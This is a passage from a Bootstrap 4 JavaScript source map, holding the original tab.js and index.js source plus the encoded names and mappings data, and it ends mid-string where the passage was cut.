/**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n    for (let i = scrollSpys.length; i--;) {\n      const $spy = $(scrollSpys[i])\n      ScrollSpy._jQueryInterface.call($spy, $spy.data())\n    }\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = ScrollSpy._jQueryInterface\n  $.fn[NAME].Constructor = ScrollSpy\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return ScrollSpy._jQueryInterface\n  }\n\n  return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tab'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tab'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Event = {\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active',\n    DISABLED      : 'disabled',\n    FADE          : 'fade',\n    SHOW          : 'show'\n  }\n\n  const Selector = {\n    DROPDOWN              : '.dropdown',\n    NAV_LIST_GROUP        : '.nav, .list-group',\n    ACTIVE                : '.active',\n    ACTIVE_UL             : '> li > .active',\n    DATA_TOGGLE           : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n    DROPDOWN_TOGGLE       : '.dropdown-toggle',\n    DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tab {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    show() {\n      if (this._element.parentNode &&\n          this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n          $(this._element).hasClass(ClassName.ACTIVE) ||\n          $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      let target\n      let previous\n      const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n      const selector = Util.getSelectorFromElement(this._element)\n\n      if (listElement) {\n        const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n        previous = $.makeArray($(listElement).find(itemSelector))\n        previous = previous[previous.length - 1]\n      }\n\n      const hideEvent = $.Event(Event.HIDE, {\n        relatedTarget: this._element\n      })\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget: previous\n      })\n\n      if (previous) {\n        $(previous).trigger(hideEvent)\n      }\n\n      $(this._element).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented() ||\n         hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (selector) {\n        target = $(selector)[0]\n      }\n\n      this._activate(\n        this._element,\n        listElement\n      )\n\n      const complete = () => {\n        const hiddenEvent = $.Event(Event.HIDDEN, {\n          relatedTarget: this._element\n        })\n\n        const shownEvent = $.Event(Event.SHOWN, {\n          relatedTarget: previous\n        })\n\n        $(previous).trigger(hiddenEvent)\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (target) {\n        this._activate(target, target.parentNode, complete)\n      } else {\n        complete()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _activate(element, container, callback) {\n      let activeElements\n      if (container.nodeName === 'UL') {\n        activeElements = $(container).find(Selector.ACTIVE_UL)\n      } else {\n        activeElements = $(container).children(Selector.ACTIVE)\n      }\n\n      const active = activeElements[0]\n      const isTransitioning = callback &&\n        (active && $(active).hasClass(ClassName.FADE))\n\n      const complete = () => this._transitionComplete(\n        element,\n        active,\n        callback\n      )\n\n      if (active && isTransitioning) {\n        const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n        $(active)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n    }\n\n    _transitionComplete(element, active, callback) {\n      if (active) {\n        $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n        const dropdownChild = $(active.parentNode).find(\n          Selector.DROPDOWN_ACTIVE_CHILD\n        )[0]\n\n        if (dropdownChild) {\n          $(dropdownChild).removeClass(ClassName.ACTIVE)\n        }\n\n        if (active.getAttribute('role') === 'tab') {\n          active.setAttribute('aria-selected', false)\n        }\n      }\n\n      $(element).addClass(ClassName.ACTIVE)\n      if (element.getAttribute('role') === 'tab') {\n        element.setAttribute('aria-selected', true)\n      }\n\n      Util.reflow(element)\n      $(element).addClass(ClassName.SHOW)\n\n      if (element.parentNode &&\n          $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n        const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n        if (dropdownElement) {\n          $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        }\n\n        element.setAttribute('aria-expanded', true)\n      }\n\n      if (callback) {\n        callback()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this = $(this)\n        let data = $this.data(DATA_KEY)\n\n        if (!data) {\n          data = new Tab(this)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      Tab._jQueryInterface.call($(this), 'show')\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tab._jQueryInterface\n  $.fn[NAME].Constructor = Tab\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tab._jQueryInterface\n  }\n\n  return Tab\n})($)\n\nexport default Tab\n","import $ from 'jquery'\nimport Alert from './alert'\nimport Button from './button'\nimport Carousel from './carousel'\nimport Collapse from './collapse'\nimport Dropdown from './dropdown'\nimport Modal from './modal'\nimport Popover from './popover'\nimport Scrollspy from './scrollspy'\nimport Tab from './tab'\nimport Tooltip from './tooltip'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n(($) => {\n  if (typeof $ === 'undefined') {\n    throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n  }\n\n  const version = $.fn.jquery.split(' ')[0].split('.')\n  const minMajor = 1\n  const ltMajor = 2\n  const minMinor = 9\n  const minPatch = 1\n  const maxMajor = 4\n\n  if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n    throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n  }\n})($)\n\nexport {\n  Util,\n  Alert,\n  Button,\n  Carousel,\n  Collapse,\n  Dropdown,\n  Modal,\n  Popover,\n  Scrollspy,\n  Tab,\n  Tooltip\n}\n"],"names":["Util","$","TRANSITION_END","MAX_UID","MILLISECONDS_MULTIPLIER","toType","obj","toString","call","match","toLowerCase","getSpecialTransitionEndEvent","bindType","delegateType","handle","event","target","is","handleObj","handler","apply","arguments","undefined","transitionEndEmulator","duration","called","one","setTimeout","triggerTransitionEnd","setTransitionEndSupport","fn","emulateTransitionEnd","special","getUID","prefix","Math","random","document","getElementById","getSelectorFromElement","element","selector","getAttribute","$selector","find","length","err","getTransitionDurationFromElement","transitionDuration","css","floatTransitionDuration","parseFloat","split","reflow","offsetHeight","trigger","supportsTransitionEnd","Boolean","isElement","nodeType","typeCheckConfig","componentName","config","configTypes","property","Object","prototype","hasOwnProperty","expectedTypes","value","valueType","RegExp","test","Error","toUpperCase","Alert","NAME","VERSION","DATA_KEY","EVENT_KEY","DATA_API_KEY","JQUERY_NO_CONFLICT","Selector","DISMISS","Event","CLOSE","CLOSED","CLICK_DATA_API","ClassName","ALERT","FADE","SHOW","_element","close","rootElement","_getRootElement","customEvent","_triggerCloseEvent","isDefaultPrevented","_removeElement","dispose","removeData","parent","closest","closeEvent","removeClass","hasClass","_destroyElement","detach","remove","_jQueryInterface","each","$element","data","_handleDismiss","alertInstance","preventDefault","on","Constructor","noConflict","Button","ACTIVE","BUTTON","FOCUS","DATA_TOGGLE_CARROT","DATA_TOGGLE","INPUT","FOCUS_BLUR_DATA_API","toggle","triggerChangeEvent","addAriaPressed","input","type","checked","activeElement","hasAttribute","classList","contains","focus","setAttribute","toggleClass","button","Carousel","ARROW_LEFT_KEYCODE","ARROW_RIGHT_KEYCODE","TOUCHEVENT_COMPAT_WAIT","Default","interval","keyboard","slide","pause","wrap","DefaultType","Direction","NEXT","PREV","LEFT","RIGHT","SLIDE","SLID","KEYDOWN","MOUSEENTER","MOUSELEAVE","TOUCHEND","LOAD_DATA_API","CAROUSEL","ITEM","ACTIVE_ITEM","NEXT_PREV","INDICATORS","DATA_SLIDE","DATA_RIDE","_items","_interval","_activeElement","_isPaused","_isSliding","touchTimeout","_config","_getConfig","_indicatorsElement","_addEventListeners","next","_slide","nextWhenVisible","hidden","prev","cycle","clearInterval","setInterval","visibilityState","bind","to","index","activeIndex","_getItemIndex","direction","off","_keydown","documentElement","clearTimeout","tagName","which","makeArray","indexOf","_getItemByDirection","isNextDirection","isPrevDirection","lastItemIndex","isGoingToWrap","delta","itemIndex","_triggerSlideEvent","relatedTarget","eventDirectionName","targetIndex","fromIndex","slideEvent","from","_setActiveIndicatorElement","nextIndicator","children","addClass","activeElementIndex","nextElement","nextElementIndex","isCycling","directionalClassName","orderClassName","slidEvent","action","TypeError","_dataApiClickHandler","slideIndex","window","$carousel","Collapse","SHOWN","HIDE","HIDDEN","COLLAPSE","COLLAPSING","COLLAPSED","Dimension","WIDTH","HEIGHT","ACTIVES","_isTransitioning","_triggerArray","id","tabToggles","i","elem","filter","_selector","push","_parent","_getParent","_addAriaAndCollapsedClass","hide","show","actives","activesData","not","startEvent","dimension","_getDimension","style","attr","setTransitioning","complete","capitalizedDimension","slice","scrollSize","getBoundingClientRect","$elem","isTransitioning","hasWidth","jquery","_getTargetFromElement","triggerArray","isOpen","$this","currentTarget","$trigger","$target","Dropdown","ESCAPE_KEYCODE","SPACE_KEYCODE","TAB_KEYCODE","ARROW_UP_KEYCODE","ARROW_DOWN_KEYCODE","RIGHT_MOUSE_BUTTON_WHICH","REGEXP_KEYDOWN","CLICK","KEYDOWN_DATA_API","KEYUP_DATA_API","DISABLED","DROPUP","DROPRIGHT","DROPLEFT","MENURIGHT","MENULEFT","POSITION_STATIC","FORM_CHILD","MENU","NAVBAR_NAV","VISIBLE_ITEMS","AttachmentMap","TOP","TOPEND","BOTTOM","BOTTOMEND","RIGHTEND","LEFTEND","offset","flip","boundary","reference","display","_popper","_menu","_getMenuElement","_inNavbar","_detectNavbar","disabled","_getParentFromElement","isActive","_clearMenus","showEvent","Popper","referenceElement","_getPopperConfig","body","noop","destroy","update","scheduleUpdate","stopPropagation","constructor","_getPlacement","$parentDropdown","placement","offsetConf","offsets","popperConfig","modifiers","enabled","preventOverflow","boundariesElement","applyStyle","toggles","context","dropdownMenu","hideEvent","parentNode","_dataApiKeydownHandler","items","get","e","Modal","backdrop","FOCUSIN","RESIZE","CLICK_DISMISS","KEYDOWN_DISMISS","MOUSEUP_DISMISS","MOUSEDOWN_DISMISS","SCROLLBAR_MEASURER","BACKDROP","OPEN","DIALOG","DATA_DISMISS","FIXED_CONTENT","STICKY_CONTENT","NAVBAR_TOGGLER","_dialog","_backdrop","_isShown","_isBodyOverflowing","_ignoreBackdropClick","_scrollbarWidth","_checkScrollbar","_setScrollbar","_adjustDialog","_setEscapeEvent","_setResizeEvent","_showBackdrop","_showElement","transition","_hideModal","handleUpdate","Node","ELEMENT_NODE","appendChild","removeAttribute","scrollTop","_enforceFocus","shownEvent","transitionComplete","has","_resetAdjustments","_resetScrollbar","_removeBackdrop","callback","animate","createElement","className","appendTo","backdropTransitionDuration","callbackRemove","isModalOverflowing","scrollHeight","clientHeight","paddingLeft","paddingRight","rect","left","right","innerWidth","_getScrollbarWidth","actualPadding","calculatedPadding","actualMargin","marginRight","calculatedMargin","padding","margin","scrollDiv","scrollbarWidth","width","clientWidth","removeChild","Tooltip","CLASS_PREFIX","BSCLS_PREFIX_REGEX","animation","template","title","delay","html","container","fallbackPlacement","AUTO","HoverState","OUT","INSERTED","FOCUSOUT","TOOLTIP","TOOLTIP_INNER","ARROW","Trigger","HOVER","MANUAL","_isEnabled","_timeout","_hoverState","_activeTrigger","tip","_setListeners","enable","disable","toggleEnabled","dataKey","_getDelegateConfig","click","_isWithActiveTrigger","_enter","_leave","getTipElement","isWithContent","isInTheDom","ownerDocument","tipId","setContent","attachment","_getAttachment","addAttachmentClass","behavior","arrow","onCreate","originalPlacement","_handlePopperPlacementChange","onUpdate","_fixTransition","prevHoverState","_cleanTipClass","getTitle","$tip","setElementContent","content","empty","append","text","triggers","forEach","eventIn","eventOut","_fixTitle","titleType","key","tabClass","join","initConfigAnimation","Popover","TITLE","CONTENT","_getContent","ScrollSpy","method","ACTIVATE","SCROLL","DROPDOWN_ITEM","DROPDOWN_MENU","DATA_SPY","NAV_LIST_GROUP","NAV_LINKS","NAV_ITEMS","LIST_ITEMS","DROPDOWN","DROPDOWN_ITEMS","DROPDOWN_TOGGLE","OffsetMethod","OFFSET","POSITION","_scrollElement","_offsets","_targets","_activeTarget","_scrollHeight","_process","refresh","autoMethod","offsetMethod","offsetBase","_getScrollTop","_getScrollHeight","targets","map","targetSelector","targetBCR","height","top","item","sort","a","b","pageYOffset","max","_getOffsetHeight","innerHeight","maxScroll","_activate","_clear","isActiveTarget","queries","$link","parents","scrollSpys","$spy","Tab","ACTIVE_UL","DROPDOWN_ACTIVE_CHILD","previous","listElement","itemSelector","nodeName","hiddenEvent","activeElements","active","_transitionComplete","dropdownChild","dropdownElement","version","minMajor","ltMajor","minMinor","minPatch","maxMajor"],"mappings":"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